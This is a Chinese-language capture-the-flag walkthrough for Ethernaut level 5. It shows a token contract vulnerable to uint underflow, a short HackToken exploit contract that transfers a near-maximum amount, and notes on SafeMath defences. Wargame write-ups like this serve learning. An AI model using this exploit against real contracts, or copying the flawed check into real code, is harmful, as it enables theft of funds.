5. Token

Chain: Goerli
Difficulty: ●●○○○
Level: https://ethernaut.openzeppelin.com/level/0xDc0c34CFE029b190Fc4A6eD5219BF809F04E57A3

要求

这一关的目标是攻破下面这个基础 token 合约
你最开始有20个 token,如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好。
这可能有帮助:
什么是 odometer?

分析

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

我们可以看到 transfer 函数的require 检查代码:

require(balances[msg.sender] - _value >= 0);

由于 balances[msg.sender]_value 都是 uint 类型,balances[msg.sender] - _value 的结果也是 uint ,作为无符号整数永远是大于等于 0 的,导致我们可以任意取款。正确的写法是 require(balances[msg.sender] >= _value)

找到入侵点后,接下来再分析数据。

当前token数:

  • totalSupply: 21000000
  • player: 20
  • level: 20999980

题目中提到数量越多越好,balances 的类型是 uint ,最大值为2**256 -1,因此我们需要将value 变为最大值即可。

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 5_Token.sol,粘贴以下代码:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;
    
    interface IToken {
        function transfer(address _to, uint256 _value) external returns (bool);
    }
    
    contract HackToken {
        address levelInstance;
    
        constructor(address _levelInstance) {
            levelInstance = _levelInstance;
        }
    
        function claim() public {
            IToken(levelInstance).transfer(msg.sender, type(uint256).max - 20);
        }
    }

    其中value的值为 type(uint256).max - 20

  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 再调用 claim 函数,完成关卡。

后记

EVM 的整数有 int 和 uint 两种,对应有无符号的情况。在 int 或 uint 后可以跟随一个 8 的倍数,表示该整数的位数,如 8 位的 uint8。位数上限为 256 位,int 和 uint 分别是 int256 和 uint256 的别名,一般 uint 使用的更多。

在整数超出位数的上限或下限时,就会静默地进行取模操作。通常我们希望费用向上溢出变小,或者存款向下溢出变大。整数溢出漏洞可以使用 SafeMath 库来防御,当发生溢出时会回滚交易。

Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:

if(a + c > a) {
  a = a + c;
}

另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:

a = a.add(c);

如果有溢出,代码会自动恢复。